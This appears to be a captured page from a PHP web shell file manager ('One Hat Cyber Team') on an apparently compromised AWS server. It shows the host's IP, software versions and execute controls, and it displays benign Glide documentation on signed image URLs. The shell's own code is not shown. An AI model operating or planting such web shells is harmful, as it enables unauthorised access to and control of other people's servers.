⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.5
Server IP:
13.127.59.50
Server:
Linux ip-172-31-46-210 5.15.0-1033-aws #37~20.04.1-Ubuntu SMP Fri Mar 17 11:39:30 UTC 2023 x86_64
Server Software:
Apache/2.4.41 (Ubuntu)
PHP Version:
7.4.3-4ubuntu2.29
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
home
/
ubuntu
/
vendor
/
league
/
glide
/
docs
/
0.3
/
config
/
View File Name :
secure-images.md
--- layout: default title: Secure images --- # Secure images Add additional security to your Glide image server with HTTP signatures. By signing each request with a private key, no alterations can be made to the URL parameters. <p class="message-notice">It is highly recommended that you use secure URLs in production environments.</p> ## Configuration Start by configuring the Glide server to validate each request before you ouput the image. In the event that the validation fails, Glide will throw an `SignatureException` exception. ~~~ php <?php use League\Glide\Http\SignatureFactory; use League\Glide\Http\SignatureException; use Symfony\Component\HttpFoundation\Request; // Create request object $request = Request::createFromGlobals(); // Validate HTTP signature try { SignatureFactory::create('your-sign-key')->validateRequest($request); } catch (SignatureException $e) { // Handle error } ~~~ ## Generating secure URLs Next, generate a signature for each image request you make. Glide comes with a URL builder to make this process easy. Be sure to use the same signing key you configured earlier. ~~~ php <?php use League\Glide\Http\UrlBuilderFactory; // Create an instance of the URL builder $urlBuilder = UrlBuilderFactory::create('http://example.com', 'your-sign-key'); // Generate a URL $url = $urlBuilder->getUrl('cat.jpg', ['w' => 500]); // Use the URL in your app echo '<img src="'.$url.'">'; // Prints out <img src="http://example.com/img/cat.jpg?w=500&token=af3dc18fc6bfb2afb521e587c348b904"> ~~~